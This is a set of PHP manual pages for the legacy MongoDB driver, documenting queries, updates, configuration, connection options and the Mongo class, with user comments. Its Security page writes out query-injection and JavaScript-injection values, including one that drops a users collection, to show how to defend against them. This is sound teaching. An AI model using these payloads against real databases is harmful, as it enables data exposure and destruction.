Unless the user has specified otherwise, the _id field is a MongoId. The most common mistake is attepting to use a string to match a MongoId. Keep in mind that these are two different datatypes, and will not match each other in the same way that the string "array()" is not the same as an empty array. For example:

<?php

$person = array("name" => "joe");

$people->insert($person);

// convert the _id to a string
$pid = $person['_id'] . "";

// FAILS - $pid is a string, not a MongoId
$joe = $people->findOne(array("_id" => $pid));

?>

Arrays

Arrays are special in a couple ways. First, there are two types that MongoDB uses: "normal" arrays and associative arrays. Associative arrays can have any mix of key types and values. "Normal" arrays are defined as arrays with ascending numeric indexes starting at 0 and increasing by one for each element. These are, typically, just your usual PHP array.

For instance, if you want to save a list of awards in a document, you could say:

<?php

$collection->save(array("awards" => array("gold", "silver", "bronze")));

?>

Queries can reach into arrays to search for elements. Suppose that we wish to find all documents with an array element of a given value. For example, documents with a "gold" award, such as:

{ "_id" : ObjectId("4b06c282edb87a281e09dad9"), "awards" : ["gold", "silver", "bronze"]}

This can be done with a simple query, ignoring the fact that "awards" is an array:

<?php

  $cursor = $collection->find(array("awards" => "gold"));

?>

Suppose we are querying for a more complex object, if each element of the array were an object itself, such as:

{
     "_id" : ObjectId("4b06c282edb87a281e09dad9"),
     "awards" :
     [
        {
            "first place" : "gold"
        },
        {
            "second place" : "silver"
        },
        {
            "third place" :  "bronze"
        }
     ]
}

Still ignoring that this is an array, we can use dot notation to query the subobject:

<?php

$cursor = $collection->find(array("awards.first place" => "gold"));

?>

Notice that it doesn't matter that there is a space in the field name (although it may be best not to use spaces, just to make things more readable).

You can also use an array to query for a number of possible values. For instance, if we were looking for documents "gold" or "copper", we could do:

<?php

$cursor = $collection->find(array("awards" => array('$in' => array("gold", "copper"))));

?>

User Contributed Notes

patrick at hexane dot org 15-Nov-2011 07:08
Note that $db->collection->find()->count() will always run on the PRIMARY, since underneath the hood ->count() is a dbcommand.
Charle Demers 12-Jul-2010 10:00
Do not forget to call rewind on your resulting MongoCursor, I just learned the hard way that it might not be rewind when you receive it.

For example, assuming that you have some results to the query:

<?php
  // Assuming that $mongo is a valid mongo object.
  $collection = $mongo->selectDB("foo")->selectCollection("bar");
  $cursor = $collection->find();
  echo "Is it valid? " . $cursor->valid()?"VALID":"INVALID";

  $cursor->rewind();
  echo "Is it valid now? " . $cursor->valid()?"VALID":"INVALID";
?>

Will possibly result in:

Is it valid? INVALID
Is it valid now? VALID
Charle Demers 13-May-2010 09:14
Watch for types casting in your queries, make sure ints are typed as ints and strings as strings.

Ex:
<?php

$friendId = $_SESSION['friendId'];
$request = array( 'friends.friendId' => (int)$friendId );
$friend = $this->_mongo->friends->findOne( $request );

?>

This example would not work without casting the $friendId to int in the request array (unless the friendId column in Mongo is actually really a string).
jhuntwork at lightcubesolutions dot com 17-Feb-2010 02:25
If you have already converted the MongoID into a string elsewhere and need to query for an _id based on the string, you can do so by creating a new MongoID object:

<?php

$m = new Mongo();
$collection = $collection = $m->selectDB('foo')->selectCollection('bar');

$id_string = '4b7c29908ead0e2e1d000000';

// The string is converted to a MongoID object
$mongo_id = new MongoID($id_string);

// $obj will be an array of data if the _id exists in the collection
$obj = $collection->findOne(array('_id'=>$mongo_id));

?>
Writes
Updates
Manual


Updates

Updates can be one of the most complicated operation available with MongoDB. They combine a query with an action, modifying documents that match the criteria. They are also extremely powerful, allowing you to change documents quickly and replace them altogether. They are done in-place (when possible) with little overhead.

Modifying vs. replacing documents

There are two types of updates you can use: modifying updates and replacing updates. Modifying updates contain $-operators and change fields in a document: they might increment counters, push new elements onto an array, or change the type of a field.

For example, a modifying update could add a new field to a document.

<?php
/** suppose documents look like:
 * {"username" : "...", "password" : "...", "email" : "..."}
 */
$coll->update(array("username" => "joe"), array('$set' => array("twitter" => "@joe4153")));

/** now the document will look like:
 * {"username" : "joe", "password" : "...", "email" : "...", "twitter" : "@joe4153"}
 */
?>

Replacing updates replace the entire matching document with a new document. They are generally not as efficient as using $-modifiers, but can be very usefully for complex operations or updates that can't be expressed in terms of $-operators.

For example, a replacing update can completely change the structure of a document.

<?php
/** suppose documents look like:
 * {"username" : "...", "password" : "...", "email" : "..."}
 */
$coll->update(array("username" => "joe"), array("userId" => 12345, "info" => array(
    "name" => "joe", "twitter" => "@joe4153", "email" => "..."), "likes" => array()));

/** now the document will look like:
 * {
 *     "userId" : 12345,
 *     "info" : {
 *         "name" : "joe",
 *         "twitter" : "@joe4153",
 *         "email" : "..."
 *     },
 *     "likes" : []
 * }
 */
?>

Updating Nested Objects

Suppose we wish to change the name of a comment's author in this document:

{
    "_id" : ObjectId("4b06c282edb87a281e09dad9"),
    "content" : "this is a blog post.",
    "comments" :
    [
        {
            "author" : "Mike",
            "comment" : "I think that blah blah blah...",
        },
        {
            "author" : "John",
            "comment" : "I disagree."
        }
    ]
}
In order to change an inner field, we use $set (so that all of the other fields are not removed!) with the index of comment to change:
<?php

$blog->update($criteria, array('$set' => array("comments.1" => array("author" => "Jim"))));

?>

The Positional Operator

The positional operator $ is useful for updating objects that are in arrays. In the example above, for instance, suppose that we did not know the index of the comment that we needed to change, merely that we needed to change "John" to "Jim". We can use $ to do so.

<?php

$blog->update(
    array("comments.author" => "John"),
    array('$set' => array('comments.$.author' => "Jim")));

?>

User Contributed Notes

Rudy 22-May-2011 09:37
See also the full update documentation in raw mongoDB:
http://www.mongodb.org/display/DOCS/Updating#Updating-%24inc

There you will find more information on modifier operations and everything that was briefly covered here. Translating to PHP should be easy!
Querying
php.ini Options
Manual


php.ini Options

The behaviour of these functions is affected by settings in php.ini.

Mongo Configure Options
Name | Default | Changeable
mongo.native_long | false* | PHP_INI_ALL
mongo.long_as_object | false | PHP_INI_ALL
mongo.default_host | "localhost" | PHP_INI_ALL
mongo.default_port | 27017 | PHP_INI_ALL
mongo.auto_reconnect | true | PHP_INI_SYSTEM
mongo.allow_persistent | true | PHP_INI_SYSTEM
mongo.chunk_size | 262144 | PHP_INI_SYSTEM
mongo.cmd | "$" | PHP_INI_ALL
mongo.utf8 | "1" | PHP_INI_ALL
mongo.allow_empty_keys | false | PHP_INI_ALL
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mongo.native-long int

The default behavior for this will be changed to TRUE in 2.0.0, so make sure to set this variable to the value you want (probably TRUE) so that the driver's behavior doesn't suddenly change when you upgrade.

On 64-bit platforms, the mongo.native_long setting allows for 64-bit integers to be stored in MongoDB. If it is not set, only 32-bits of the integer will be saved. The MongoDB data type that is used in this case is the BSON LONG, instead of the BSON INT that is used if this setting is turned off.

The setting also changes the way how BSON LONGs behave when they are read back from MongoDB. Without mongo.native_long enabled, the driver would convert every BSON LONG to a PHP double which can result in a loss of precision.

On 32-bit platforms, the mongo.native_log setting changes nothing for storing integers in MongoDB: the integer is stored as a BSON INT as before. However, when the setting is enabled and a BSON LONG is read from MongoDB a MongoCursorException is thrown alerting you that the data could not be read back without losing precision.

On 32-bit systems especially, it is recommended that you combine this with enabling mongo.long_as_object.

mongo.long_as_object string

Return a BSON_LONG as an instance of MongoInt64 (instead of a primitive type).

mongo.default_host string

Default hostname when nothing is passed to the constructor.

mongo.default_port string

The default TCP port number to use when connecting to the database server if no other port is specified. The database's default is 27017.

mongo.auto_reconnect bool

Whether to reconnect to the database if the connection is lost.

mongo.allow_persistent bool

If persistent connections are allowed.

mongo.chunk_size int

The number of bytes-per-chunk. Used in divvying up GridFS files. This number must be at least 100 less than 4 megabytes (max: 4194204) and it is recommended that it be less than that.

mongo.cmd string

A character to be used in place of $ in modifiers and comparisons.

As it is easy to forget to escape the "$", you can also choose your own special character to use instead of '$'. Choose a character that will not occur in your key names, e.g. ":":

mongo.cmd = ":"

Then, to do a comparison, for example:

<?php

$query = array( "i" => array( ":gt" => 20, ":lte" => 30 ) );

?>

You can also change it in your code using ini_set("mongo.cmd", ":"). Of course, you can also just use single quotes or backslash-escape the $.

mongo.utf8 int

If an exception should be thrown for non-UTF8 strings. Until version 1.0.4, the PHP driver would ignore non-UTF8 strings, even though you're not supposed to insert them. As of 1.0.4, the driver throws a MongoException. To ease the transition for applications that insert non-UTF8 strings, you can turn this option off to emulate the old, non-exception-throwning behavior. This option will be eliminated and exceptions always thrown for non-UTF8 strings starting with version 1.1.0.

mongo.allow_empty_keys int

Added in version 1.0.11.

If empty strings ("") should be allowed as key names. By default, the driver will throw an exception if you attempt to pass the empty string as a key to the database. It is extremely easy to do this inavertently by using double quotes with $-operators, so it is recommended that you leave this setting as default. However, if you need to save keys that are empty strings, you can set this option to true and the driver will allow you to pass empty strings to the database.

User Contributed Notes

There are no user contributed notes for this page.
Updates
Security
Manual


Security

Request Injection Attacks

If you are passing $_GET parameters to your queries, make sure that they are cast to strings first. Users can insert associative arrays in GET requests, which could then become unwanted $-queries.

A fairly innocuous example: suppose you are looking up a user's information with the request http://www.example.com?username=bob. Your application does the query $collection->find(array("username" => $_GET['username'])).

Someone could subvert this by getting http://www.example.com?username[$ne]=foo, which PHP will magically turn into an associative array, turning your query into $collection->find(array("username" => array('$ne' => "foo"))), which will return all users not named "foo" (all of your users, probably).

This is a fairly easy attack to defend against: make sure $_GET's parameters are the type you expect before you send them to the database (cast them to strings, in this case).

Note that this type of attack can be used with any databases interation that locates a document, including updates, upserts, find-and-modifies, and removes.

Thanks to » Phil for pointing this out.

See » the main documentation for more information about SQL-injection-like issues with MongoDB.

Script Injection Attacks

If you are using JavaScript, make sure that any variables that cross the PHP- to-JavaScript boundry are passed in the scope field of MongoCode, not interpolated into the JavaScript string. This can come up when using MongoDB::execute(), $where clauses, MapReduces, group-bys, and any other time you may pass JavaScript into the database.

Note:

MapReduce ignore the scope field of MongoCode, but there is a scope option on the command that can be used instead.

For example, suppose we have some JavaScript to greet a user in the database logs. We could do:

<?php

// don't do this!

$username = $_POST['username'];
$db->execute("print('Hello, $username!');");

?>

However, what if a malicious user passes in some JavaScript?

<?php

// don't do this!

// $username is set to "'); db.users.drop(); print('"
$db->execute("print('Hello, $username!');");

?>

Now MongoDB executes the JavaScript string "print('Hello, '); db.users.drop(); print('!');". This attack is easy to avoid: use scope to pass variables from PHP to JavaScript:

<?php

$scope = array("user" => $username);
$db->execute(new MongoCode("print('Hello, '+user+'!');", $scope));

?>

This adds a variable user to the JavaScript scope. Now if someone tries to send malicious code, MongoDB will harmlessly print Hello, '); db.dropDatabase(); print('!.

Using scope helps prevent malicious input from being executed by the database. However, you must make sure that your code does not turn around and execute the input anyway! For example, never use the JavaScript eval function on user input:

<?php

// don't do this!

// $jsShellInput is "db.users.drop();"
$scope = array("input" => $jsShellInput);
$db->execute(new MongoCode("eval(input);", $scope));

?>

Always use scope and never allow the database to execute user input as code.

User Contributed Notes

Mark Caudill 07-Mar-2011 10:18
This also occurs using POST (obviously) despite it not being mentioned.  Sanitize all input you are taking in that can cause this issue.
php.ini Options
Troubleshooting
Manual


Troubleshooting

If you're having trouble, there are lots of resources you can turn to.

  • IRC

    The official MongoDB IRC room is irc.freenode.net/#mongodb. This is the fastest way to get help... if there are people around.

  • Mailing List

    » MongoDB's mailing list is a good (and usually very fast) way to get answers to questions.

  • Bug Tracker

    Found a bug? Want a feature? Have a question? File it in the » PHP driver's bug tracker.

You can turn on (very) verbose debugging output by compiling the driver with the debugging flag.

$ ./configure CFLAGS=-DDEBUG

DEBUG turns on all debugging. You can also turn on specific debug flags. In the latest code, these flags are:

  • DEBUG_CONN

    Debugging connections.

User Contributed Notes

PHPEric 29-Jul-2010 02:02
To troubleshoot MongoDB connection issues try running http://www.phpMoAdmin.com

phpMoAdmin will tell you exactly what aspect of your Mongo-PHP connection is not working and how to fix it.
Security
Running the Driver's Tests
Manual


Running the Driver's Tests

The PECL package does not come with the tests, but they are available at » Github. There are two types of tests: the PHPUnit tests and the C tests.

PHPUnit Tests

To run the tests, you must download the driver from Github (the tests are in the tests/ directory). You'll also need » PHPUnit to run the tests. PHPUnit can be installed via PEAR (although you should look at the installation instructions, it requires a couple of prerequisites).

Some tests expect warnings or errors, so you must set error_reporting in php.ini to E_STRICT | E_ALL for these tests to pass. If you do not, you will get some failures that say the test was expecting a warning or error.

To run the tests, make sure that there is a MongoDB server running locally on port 27017. Before reporting errors, please try running the tests against the latest development version of MongoDB: often there are tests for features that aren't yet in the stable release.

The test suite uses the "phpunit" database. If you are using a database called "phpunit" in your application, make sure point MongoDB at a different data directory before running the tests.

Make sure you're in the main directory of the driver source you downloaded from Github. Run:

$ phpunit tests/MongoSuite.php

C Tests

The C tests mostly check internal functions that are not exposed through PHP. If you'd like to run these tests, you'll need to compile PHP with the --enable-embed flag. Then switch to the tests directory and run make. This will create a binary called unit. Run unit to execute the tests. These tests do no require a database to be running.

If a test passes, it will print a ".". If a test fails, it will assert and stop the tests. Please report any asserts.

If make cannot find your PHP embedded library (libphp5.so) or header files, you may have to specify the PHP_PATH variable.

Run make clean to remove all testing objects.

If you run these tests with valgrind, you should get no invalid memory access errors and the "no leaks are possible" message at the end.

Reporting Errors

Please report any failures or errors in the » bugtracker. There may be skipped tests, these are normal and can be ignored.

New tests are always welcome! Please feel free to contribute new tests of any type testing any functionality.

User Contributed Notes

There are no user contributed notes for this page.
Troubleshooting
Core Classes
Manual


Core Classes

Table of Contents

  • Mongo
  • MongoDB
  • MongoCollection
  • MongoCursor

The core classes are the most important part of the driver.

User Contributed Notes

There are no user contributed notes for this page.
Running the Driver's Tests
Mongo
Mongo


The Mongo class

(No version information available, might only be in SVN)

Introduction

A connection between PHP and MongoDB.

This class is used to create and manage connections. A typical use is:

<?php

$m = new Mongo(); // connect
$db = $m->foo; // get the database named "foo"

?>

See Mongo::__construct() and the section on connecting for more information about creating connections.

Class synopsis

Mongo {
/* Constants */
const string VERSION ;
const string DEFAULT_HOST = "localhost" ;
const int DEFAULT_PORT = 27017 ;
/* Fields */
public boolean $connected = FALSE ;
public string $status = NULL ;
protected string $server = NULL ;
protected boolean $persistent = NULL ;
/* Methods */
public bool close ( void )
public bool connect ( void )
protected bool connectUtil ( void )
public __construct ([ string $server = "mongodb://localhost:27017" [, array $options = array("connect" => TRUE) ]] )
public array dropDB ( mixed $db )
public MongoDB __get ( string $dbname )
public array getHosts ( void )
public static int getPoolSize ( void )
public string getSlave ( void )
public bool getSlaveOkay ( void )
public array listDBs ( void )
public array poolDebug ( void )
public MongoCollection selectCollection ( string $db , string $collection )
public MongoDB selectDB ( string $name )
public static bool setPoolSize ( int $size )
public bool setSlaveOkay ([ bool $ok = true ] )
public string switchSlave ( void )
public string __toString ( void )
}

Predefined Constants

Mongo Constants

Mongo::VERSION
PHP driver version. May be suffixed with "+" or "-" if it is in-between versions.
Mongo::DEFAULT_HOST
"localhost"
Host to connect to if no host is given.
Mongo::DEFAULT_PORT
27017
Port to connect to if no port is given.

Fields

status
If this is a persistent connection, if the connection was created for this object or is being reused. If this is not a persistent connection, this field should be NULL.

See Also

MongoDB core docs on » connecting.

Table of Contents

  • Mongo::close — Closes this connection
  • Mongo::connect — Connects to a database server
  • Mongo::connectUtil — Connects with a database server
  • Mongo::__construct — Creates a new database connection object
  • Mongo::dropDB — Drops a database [deprecated]
  • Mongo::__get — Gets a database
  • Mongo::getHosts — Updates status for all hosts associated with this
  • Mongo::getPoolSize — Get pool size for connection pools
  • Mongo::getSlave — Returns the address being used by this for slaveOkay reads
  • Mongo::getSlaveOkay — Get slaveOkay setting for this connection
  • Mongo::listDBs — Lists all of the databases available.
  • Mongo::poolDebug — Returns information about all connection pools.
  • Mongo::selectCollection — Gets a database collection
  • Mongo::selectDB — Gets a database
  • Mongo::setPoolSize — Set the size for future connection pools.
  • Mongo::setSlaveOkay — Change slaveOkay setting for this connection
  • Mongo::switchSlave — Choose a new slave for slaveOkay reads
  • Mongo::__toString — String representation of this connection

User Contributed Notes

Fausto Vanin @faustovanin 09-Feb-2011 07:31
For those who are concerned on parsing JSON associative arrays from queries, this class could be useful. You just have to extend it and call parent constructor and it gets the job done.
It automatically initializes all your object attributes getting values from the array.

<?php

    #doc
    #    classname:    MongoClass
    #    scope:        PUBLIC
    #
    #/doc

    class MongoClass
    {
        #    internal variables
        protected $id;

        #    Constructor
        function __construct ($attList = array())
        {
            $reflection = new ReflectionObject($this);

            foreach ($attList as $attName => $attValue)
            {
                $attObj = $reflection->getProperty($attName);
                $attObj->setAccessible(true);
                $attObj->setValue($this, $attValue);
            }
        }
        ###

    }
    ###
        class A extends MongoClass {
                private $name;
                private $value;
                private $weight;

                public function __construct($attList) {
                        parent::__construct($attList);
                }
        }

        $attList = array(
                "name" => "Beer",
                "value" => "Delicious",
                "weight" => 15.2
        ); //This is your JSON object associative aray

        $a = new A($attList);

?>
markh789 at gmail dot com 07-Jan-2011 05:32
Here is a simple connection function :)

<?php
function MongoConnect($username, $password, $database, $host) {
    $con = new Mongo("mongodb://{$username}:{$password}@{$host}"); // Connect to Mongo Server
    $db = $con->selectDB($database); // Connect to Database
}
?>
Core Classes
Mongo::close
Core Classes


Closes this connection

Mongo
Mongo::connect
Mongo
PHP Manual

Mongo::close

(PECL mongo >=0.9.0)

Mongo::close — Closes this connection

Description

public bool Mongo::close ( void )

This method does not need to be called, except in unusual circumstances. The driver will cleanly close the database connection when this Mongo instance goes out of scope.

If objects do not go out of scope between requests, you may wish to call this method at the end of your program to keep old connections from hanging around. However, it is probably more efficient use a persistent connection, which will automatically create a connection if needed and use it for as many requests as possible.

If you are connected to a replica set, close() will only close the connection to the primary.

Parameters

This function has no parameters.

Return Values

Returns if the connection was successfully closed.

User Contributed Notes

There are no user contributed notes for this page.
Mongo
Mongo::connect
Mongo


Connects to a database server

Mongo::close
Mongo::connectUtil
Mongo
PHP Manual

Mongo::connect

(PECL mongo >=0.9.0)

Mongo::connect — Connects to a database server

Description

public bool Mongo::connect ( void )

Parameters

This function has no parameters.

Return Values

If the connection was successful.

Errors/Exceptions

Throws MongoConnectionException if it fails to connect to the database.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::close
Mongo::connectUtil
Mongo


Connects with a database server

Mongo::connect
Mongo::__construct
Mongo
PHP Manual

Mongo::connectUtil

(PECL mongo >=0.9.0)

Mongo::connectUtil — Connects with a database server

Description

protected bool Mongo::connectUtil ( void )

Parameters

This function has no parameters.

Return Values

If the connection was successful.

Errors/Exceptions

Throws MongoConnectionException if it fails to connect to the databases.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::connect
Mongo::__construct
Mongo


Creates a new database connection object

Mongo::connectUtil
Mongo::dropDB
Mongo
PHP Manual

Mongo::__construct

(PECL mongo >=0.9.0)

Mongo::__construct — Creates a new database connection object

Description

 public  Mongo::__construct
  ([ string $server = "mongodb://localhost:27017"
 [, array $options = array("connect" => TRUE)
]] )

If no parameters are passed, this connects to "localhost:27017" (or whatever was specified in php.ini for mongo.default_host and mongo.default_port).

server should have the form:

mongodb://[username:password@]host1[:port1][,host2[:port2:],...]/db

The connection string always starts with mongodb://, to indicate it is a connection string in this form.

If username and password are specified, the constructor will attempt to authenticate the connection with the database before returning. Username and password are optional and must be followed by an @, if specified.

At least one host must be given (port optional, always defaulting to 27017) and as many hosts as desired may be connected to. Host names are comma-separated and the constructor will return successfully if it connected to at least one host. If it could not connect to any of the hosts, it will throw a MongoConnectionException.

Finally, if you specified a username and password, you may specify a database to authenticate with. If db is not specified, "admin" will be used.

Parameters

server

The server name.

options

An array of options for the connection. Currently available options include:

  • "connect"

    If the constructor should connect before returning. Default is TRUE.

  • "timeout"

    For how long the driver should try to connect to the database (in milliseconds).

  • "replicaSet"

    The name of the replica set to connect to. If this is given, the master will be determined by using the ismaster database command on the seeds, so the driver may end up connecting to a server that was not even listed. See the replica set example below for details.

  • "username"

    The username can be specified here, instead of including it in the host list. This is especially useful if a username has a ":" in it. This overrides a username set in the host list.

  • "password"

    The password can be specified here, instead of including it in the host list. This is especially useful if a password has a "@" in it. This overrides a password set in the host list.

  • "db"

    The database to authenticate against can be specified here, instead of including it in the host list. This overrides a database given in the host list.

Return Values

Returns a new database connection object.

Errors/Exceptions

Throws MongoConnectionException if it tries and fails to connect to the database for all hostnames given. It will also throw a MongoConnnectionException if an invalid username or password is given. See MongoConnectionException documentation for common exceptions and their causes.

Changelog

Version | Description
1.2.0

Removed the persist option, as all connections are now persistent. It can still be used, but it doesn't affect anything.

"persist"

If the connection should be persistent. If set, the connection will be persistent. The string representation of the value is used as an id for the connection, so two instances of Mongo that are initialized with array("persist" => "foobar") will share the same database connection, whereas an instance initialized with array("persist" => "barbaz") will use a different database connection.

The "replicaSet" parameter now takes a string, not a boolean (although boolean is still accepted).

1.0.2 Changed constructor to take an array of options. Pre-1.0.2, the constructor took the following parameters:
server

The server name.

connect

Optional boolean parameter specifying if the constructor should connect to the database before returning. Defaults to TRUE.

persistent

If the connection should be persistent.

paired

If the connection should be paired.

1.0.9 | Added the replicaSet option.
1.2.0 | Added the username and password options.

Examples

Example #1 Mongo::__construct() replica set example

This example shows how to connect the driver to a replica set. It assumes that there is a set of three servers: sf1.example.com, sf2.example.com, and ny1.example.com. The master could be any one of these servers.

<?php

// pass a comma-separated list of server names to the constructor
$m1 = new Mongo("mongodb://sf2.example.com,ny1.example.com", array("replicaSet" => "myReplSet"));

// you only need to pass a single seed, the driver will derive the full list and
// find the master from this seed
$m2 = new Mongo("mongodb://ny1.example.com", array("replicaSet" => "myReplSet"));

?>

If the current master fails, the driver will figure out which secondary server became the new master and automatically start using that connection. Automatic failover will not work correctly if replicaSet is not specified.

At least one seed in the seed list must be up for the driver to connect to the replica set.

If you include seeds from two separate replica sets, behavior is undefined.

See the » core documentation on replica sets for more information.

Example #2 Connecting to a domain socket

In version 1.0.9+, you can use a UNIX domain socket to connect to an instance of MongoDB running locally. This should be slightly faster than using a network connection.

In version 1.5.0, the MongoDB server automatically opens a socket at /tmp/mongodb-<port>.sock. You can connect to this by specifying the path in your connection string:

<?php

// MongoDB server running locally on port 20000
$m = new Mongo("mongodb:///tmp/mongodb-20000.sock");

?>

You can combine this with any other connections you'd like:

<?php

// try to connect to the domain socket, fall back to localhost connection
$m = new MongoDB("mongodb:///tmp/mongodb-27017.sock,localhost:27017");

?>

Example #3 Mongo::__construct() authentication example

A user must exist in the admin database before attempting to use authentication. You can create one with the Mongo shell by running:

> use admin
switched to db admin
> db.addUser("testUser", "testPass");
{
        "_id" : ObjectId("4b21272fd9ab21611d19095c"),
        "user" : "testUser",
        "pwd" : "03b9b27e0abf1865e2f6fcbd9845dd59"
}
>

After creating a user with, in this case, username "testUser" and password "testPass", you can create an authenticated connection:

<?php

$m = new Mongo("mongodb://testUser:testPass@localhost");

?>

User Contributed Notes

Sid 19-Sep-2011 07:06
Well it looks like specifying the username, and password as an option in the option array DOES NOT work with replica sets properly.  I got a bunch of unauthorized exceptions when trying to do inserts.  Best bet is to specify username and password via the connection string.
rob at limeworks dot com dot au 02-Sep-2011 02:14
Note that even if you authenticate with a database specific user during instantiation of the Mongo class, it's still necessary to select the database before you try and use it.

Might sound common sense, but hopefully it will help someone anyway :D
Julius 04-Aug-2011 03:33
It's worth noting that authentication is not available in replicaSet with sharding before MongoDB version 1.9.1

http://www.mongodb.org/display/DOCS/Security+and+Authentication
arie grapa 12-Apr-2011 04:49
you can set mongo.auto_reconnect=1 in php.ini to cause it to automatically reconnect. This might be the default in future versions
Arkadiy Kukarkin 06-May-2010 02:17
The behavior of persistent connections is somewhat mysterious, but it appears that they remain for the duration of the process with some internal timeout value, and not until the end of script execution as you might expect based on the wording here and in close().

That is, the connection will remain open even once every object that used it is out of scope and can be accessed again with the persist key. This is consistent with the way e.g. DBI does things, but still somewhat confusing when not made explicit. A related issue is that under certain conditions php seems to open multiple connections even using the same key, but that's more of a bug report.
cap at unagon dot com 26-Feb-2010 02:38
Be sure *not* to append a slash at the end of the mongo URL.

$m = new Mongo("mongodb://dbuser:dbpasswd@localhost/");

in my case led to an empty web page and complete crash of the PHP interpreter, no chance to catch this as an exception.
Mongo::connectUtil
Mongo::dropDB
Mongo


Drops a database [deprecated]

Mongo::__construct
Mongo::__get
Mongo
PHP Manual

Mongo::dropDB

(PECL mongo >=0.9.0)

Mongo::dropDB — Drops a database [deprecated]

Description

public array Mongo::dropDB ( mixed $db )
Warning

Deprecated

Use MongoDB::drop() instead.

Parameters

db

The database to drop. Can be a MongoDB object or the name of the database.

Return Values

Returns the database response.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::__construct
Mongo::__get
Mongo


Gets a database

Mongo::dropDB
Mongo::getHosts
Mongo
PHP Manual

Mongo::__get

(PECL mongo >=1.0.2)

Mongo::__get — Gets a database

Description

public MongoDB Mongo::__get ( string $dbname )

This is the cleanest way of getting a database. If the database name has any special characters, Mongo::selectDB() will need to be used. However, in most cases, this should be sufficient.

<?php

$mongo = new Mongo();

// the following two lines are equivalent
$db = $mongo->selectDB("foo");
$db = $mongo->foo;

?>

Parameters

dbname

The database name.

Return Values

Returns a new db object.

Errors/Exceptions

Throws a generic exception if the database name is invalid.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::dropDB
Mongo::getHosts
Mongo


Updates status for all hosts associated with this

Mongo::__get
Mongo::getPoolSize
Mongo
PHP Manual

Mongo::getHosts

(PECL mongo >=1.1.0)

Mongo::getHosts — Updates status for all hosts associated with this

Description

public array Mongo::getHosts ( void )

This method can only be used with a connection to a replica set. It returns the status of all of the hosts in the set.

See the query section of this manual for information on distributing reads to slaves.

Parameters

This function has no parameters.

Return Values

Returns an array of information about the hosts in the set. Includes each host's hostname, its health (1 is healthy), its state (1 is primary, 2 is secondary, 0 is anything else), the amount of time it took to ping the server, and when the last ping occurred. For example, on a three-member replica set, it might look something like:

array(2) {
  ["A:27017"]=>
  array(4) {
    ["health"]=>
    int(1)
    ["state"]=>
    int(2)
    ["ping"]=>
    int(369)
    ["lastPing"]=>
    int(1309470644)
  }
  ["B:27017"]=>
  array(4) {
    ["health"]=>
    int(1)
    ["state"]=>
    int(1)
    ["ping"]=>
    int(139)
    ["lastPing"]=>
    int(1309470644)
  }
  ["C:27017"]=>
  array(4) {
    ["health"]=>
    int(1)
    ["state"]=>
    int(2)
    ["ping"]=>
    int(1012)
    ["lastPing"]=>
    int(1309470644)
  }
}

In the example above, B and C are secondaries (state 2). B is likely to be selected for queries if slaveOkay is set, as it has a lower ping time (and thus is likely closer or handling less load) than C.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::__get
Mongo::getPoolSize
Mongo


Get pool size for connection pools

Mongo::getHosts
Mongo::getSlave
Mongo
PHP Manual

Mongo::getPoolSize

(No version information available, might only be in SVN)

Mongo::getPoolSize — Get pool size for connection pools

Description

public static int Mongo::getPoolSize ( void )
Warning

This feature has been DEPRECATED as of version 1.2.3. Relying on this feature is highly discouraged. Please use MongoPool::getSize() instead.

Parameters

This function has no parameters.

Return Values

Returns the current pool size.

Examples

Example #1 Changing pool size

This returns the default pool size, sets a new pool size, then prints the new pool size and the pool debugging information. Note that changing the pool size only affects new connection pools, it does not change old ones.

<?php

$connection = new Mongo("host1");

// pool size is -1
echo "pool size is: ".Mongo::getPoolSize()."\n";

echo "setting pool size to 200\n";

Mongo::setPoolSize(200);

// pool size is 200
echo "pool size is: ".Mongo::getPoolSize()."\n";

$conn2 = new Mongo("host2");

// remaining for host1 is -2
// remaining for host2 is 199
var_dump(Mongo::poolDebug());

?>

See Also

  • Mongo::setPoolSize() - Set the size for future connection pools.
  • Mongo::poolDebug() - Returns information about all connection pools.
  • The connection documentation.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::getHosts
Mongo::getSlave
Mongo


Returns the address being used by this for slaveOkay reads

Mongo::getPoolSize
Mongo::getSlaveOkay
Mongo
PHP Manual

Mongo::getSlave

(PECL mongo >=1.1.0)

Mongo::getSlave — Returns the address being used by this for slaveOkay reads

Description

public string Mongo::getSlave ( void )

This finds the address of the slave currently being used for reads. It is a read-only method: it does not change anything about the internal state of the object.

When you create a connection to the database, the driver will not immediately decide on a slave to use. Thus, after you connect, this function will return NULL even if there are slaves available. When you first do a query with slaveOkay set, at that point the driver will choose a slave for this connection. At that point, this function will return the chosen slave.

See the query section of this manual for information on distributing reads to slaves.

Parameters

This function has no parameters.

Return Values

The address of the slave this connection is using for reads.

This returns NULL if this is not connected to a replica set or not yet initialized.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::getPoolSize
Mongo::getSlaveOkay
Mongo


Get slaveOkay setting for this connection

Mongo::getSlave
Mongo::listDBs
Mongo
PHP Manual

Mongo::getSlaveOkay

(PECL mongo >=1.1.0)

Mongo::getSlaveOkay — Get slaveOkay setting for this connection

Description

public bool Mongo::getSlaveOkay ( void )

See the query section of this manual for information on distributing reads to slaves.

Parameters

This function has no parameters.

Return Values

Returns the value of slaveOkay for this instance.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::getSlave
Mongo::listDBs
Mongo


Lists all of the databases available.

Mongo::getSlaveOkay
Mongo::poolDebug
Mongo
PHP Manual

Mongo::listDBs

(PECL mongo >=1.0.4)

Mongo::listDBs — Lists all of the databases available.

Description

public array Mongo::listDBs ( void )

Parameters

This function has no parameters.

Return Values

Returns an associative array containing three fields. The first field is databases, which in turn contains an array. Each element of the array is an associative array corresponding to a database, giving the database's name, size, and if it's empty. The other two fields are totalSize (in bytes) and ok, which is 1 if this method ran successfully.

Examples

Example #1 Mongo::listDBs() example

Example demonstrating how to use listDBs and the returned data structure.

<?php

$mongo = new Mongo();
$dbs = $mongo->listDBs();
print_r($dbs);

?>

The above example will output something similar to:

Array
(
    [databases] => Array
        (
            [0] => Array
                (
                    [name] => doctrine
                    [sizeOnDisk] => 218103808
                    [empty] =>
                )
        )

    [totalSize] => 218103808
    [ok] => 1
)

User Contributed Notes

There are no user contributed notes for this page.
Mongo::getSlaveOkay
Mongo::poolDebug
Mongo


Returns information about all connection pools.

